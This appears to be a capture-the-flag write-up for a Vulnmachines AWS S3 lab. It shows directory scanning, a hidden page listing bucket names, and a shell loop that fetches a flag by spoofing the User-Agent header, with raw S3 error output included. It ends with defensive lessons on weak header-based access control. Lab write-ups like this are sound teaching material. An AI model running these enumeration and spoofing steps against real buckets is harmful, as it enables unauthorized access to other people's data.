Vulnmachines Special Policy Bucket Writeup: Bypassing an S3 User-Agent Access Policy
Challenge Info
- Platform: Vulnmachines
- Category: Cloud Labs / AWS S3
- Description: "Special Policy Bucket - AWS S3 Bucket with Special Access Policy"
- Challenge link: https://account.vulnmachines.com/user/challenges
Walkthrough
Step 1: Initial Recon
Visiting the challenge URL, I noticed this one isn't a direct S3 URL — it's an EC2 instance:
# Reverse DNS confirms it's an AWS EC2 host
nslookup 54.84.44.100
# Result: ec2-54-84-44-100.compute-1.amazonaws.com
Key differences:
- Unlike the previous challenge, it doesn't hand you an S3 bucket URL directly
- You have to find the bucket name and the access method yourself
- The EC2 host might be acting as a proxy or hosting an application
Step 2: Directory Scanning and Exploration
Testing some common paths:
# Check for directory listing
curl http://54.84.44.100/assets/
# Result: open directory listing, but just website assets
# Test S3-related paths
curl http://54.84.44.100/policy.json # 404
curl http://54.84.44.100/bucket # 404
curl http://54.84.44.100/s3 # 404
Using a directory scanning tool:
gobuster dir -u http://54.84.44.100/ \
-w /usr/share/wordlists/dirb/common.txt \
-x html,json,txt
Step 3: Finding the Hidden Page
During testing I found a key file:
curl http://54.84.44.100/secret.html
The contents of secret.html reveal important information:
- Multiple S3 bucket URLs

- Key hint:
The user agent acts as a mediator between the user and the web server...
To access the bucket you required special User-agent VnMSecurityLab
The list of buckets found:
- vnm-sec-testa1cd
- vnm-sec-testk2wka
- vnm-sec-test24wka
- vnm-sec-test124wka
- vnm-sec-testk412ka
- vnm-sec-testk4wka (the real bucket)
- vnm-sec-testk235wka
- vnm-sec-testk4w656a
- vnm-sec-testk4wka435
- vnm-sec-testk4w423ka
Step 4: Understanding the Special Policy
What the challenge name "Special Policy Bucket" is getting at:
- The bucket is configured with a conditional access policy
- It only allows a specific User-Agent:
VnMSecurityLab - This is a common security configuration for AWS S3 bucket policies
Step 5: The Correct Access Method
Using a custom User-Agent to bulk-test every bucket:
for bucket in vnm-sec-testa1cd vnm-sec-testk2wka vnm-sec-test24wka \
vnm-sec-test124wka vnm-sec-testk412ka vnm-sec-testk4wka \
vnm-sec-testk235wka vnm-sec-testk4w656a vnm-sec-testk4wka435 \
vnm-sec-testk4w423ka; do
echo "Testing: $bucket"
curl -H "User-Agent: VnMSecurityLab" \
"https://$bucket.s3.amazonaws.com/f149.txt" 2>/dev/null
echo ""
done
Analyzing the results:
- 9 buckets returned
NoSuchBucket(fakes) - 1 bucket (
vnm-sec-testk4wka) returned content
Testing: vnm-sec-testa1cd
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testa1cd</BucketName><RequestId>WHF9REDPPQF46QN6</RequestId><HostId>XkJH7QyrtrRPIYvm0vp9JfQxSQ0Fxj9eIGHJHfDODYWX98EEcDPJte36WG5FJsg/L2Mpruemnp7RKGyiXp3F5Cnf6BVo3hjMGZB9pypgGJk=</HostId></Error>
Testing: vnm-sec-testk2wka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk2wka</BucketName><RequestId>WHFEAZ0C2TYBQH17</RequestId><HostId>VUNnnV4H1tKnQLjCK6NgJkjwpixNWIkwb93qP1MpBga/GRItCkjjPXKUiKJNItDmol86f12xx/w=</HostId></Error>
Testing: vnm-sec-test24wka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-test24wka</BucketName><RequestId>RVN1E6J47A6MP4B3</RequestId><HostId>IorhgIi1PUIbHoSvFfD8OPe3LRZ3NPX4+RvNWtqtL+lNTo3H2fu8ERN7nVVcyRHAV9Tz2AdF+zXwPW2eSpxLF9dM/0gvkDialrayvrtjWzE=</HostId></Error>
Testing: vnm-sec-test124wka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-test124wka</BucketName><RequestId>MJVH1J44HSEX1R1G</RequestId><HostId>9D8q5BePeZUviPYGAzewm5JYhO0c5GYnXvfoc0k4vW7HelfxexRG92j1kCmA0/cfz3F9SZJUVLg=</HostId></Error>
Testing: vnm-sec-testk412ka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk412ka</BucketName><RequestId>MJVV3GNCAX9C9E89</RequestId><HostId>CEKXMSe30e53h193sK+BuD07X+mkTJfPBEuHxnHbTEXFV3FzyxuWfUB//yh5ONmGVETWGqXOMJZv80naLf21P+bL2PtUaK56</HostId></Error>
Testing: vnm-sec-testk4wka
vnm{REDACTED}
Testing: vnm-sec-testk235wka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk235wka</BucketName><RequestId>7T553RYZY29HVJ8Z</RequestId><HostId>dyr23oTfVDFclLVAicv3R7vLd8B8++LbgDaAd1Y406RvMBjSz8lvhRGX/cpgktgV05Aklz4V6ZEbZ9TehI/7tZQMOoPKzGuA</HostId></Error>
Testing: vnm-sec-testk4w656a
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk4w656a</BucketName><RequestId>7T5DC75XE0GNHXAD</RequestId><HostId>AOQu2WyIkTbty+sTPc01xU9w+hFnmK40IKS53GHFyvnhHTOg4m3sQ9tHu7v6uPi6v9hHM7b+tv4=</HostId></Error>
Testing: vnm-sec-testk4wka435
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk4wka435</BucketName><RequestId>BTV02H3RGFPJ4NZP</RequestId><HostId>BCcM2WnUOFqNf42lnWuSe2UIOuLbidKnOnRqYEADOuRCRpWh4BZ17MP5hdMSCCkejWYoNGzKMMgUMeTJE3ueXj8Eoi62c4FJuNPgywHlGag=</HostId></Error>
Testing: vnm-sec-testk4w423ka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk4w423ka</BucketName><RequestId>V4QG90V60YFENQAZ</RequestId><HostId>lOEDC6WYi1t5awG7glfJATyMJOoHok1LriaqdmV2jzSv4Jr+N3hUjHNMEBNa1Ifu5GCXEoc/ezc=</HostId></Error>Step 7: Grabbing the Flag
Successfully accessing the real bucket:
curl -H "User-Agent: VnMSecurityLab" \
https://vnm-sec-testk4wka.s3.amazonaws.com/f149.txt
Flag: vnm{REDACTED}
Key Takeaways
Security Misconceptions
- A User-Agent restriction is not a real security control
- It's trivially bypassed (as this challenge shows)
- You should use stronger authentication mechanisms instead (IAM, presigned URLs)
Conclusion
This CTF demonstrates the danger of relying on HTTP headers as a security control. The User-Agent can be spoofed and should never be the sole access-control mechanism. In a real-world environment, you should layer multiple defenses.
Member discussion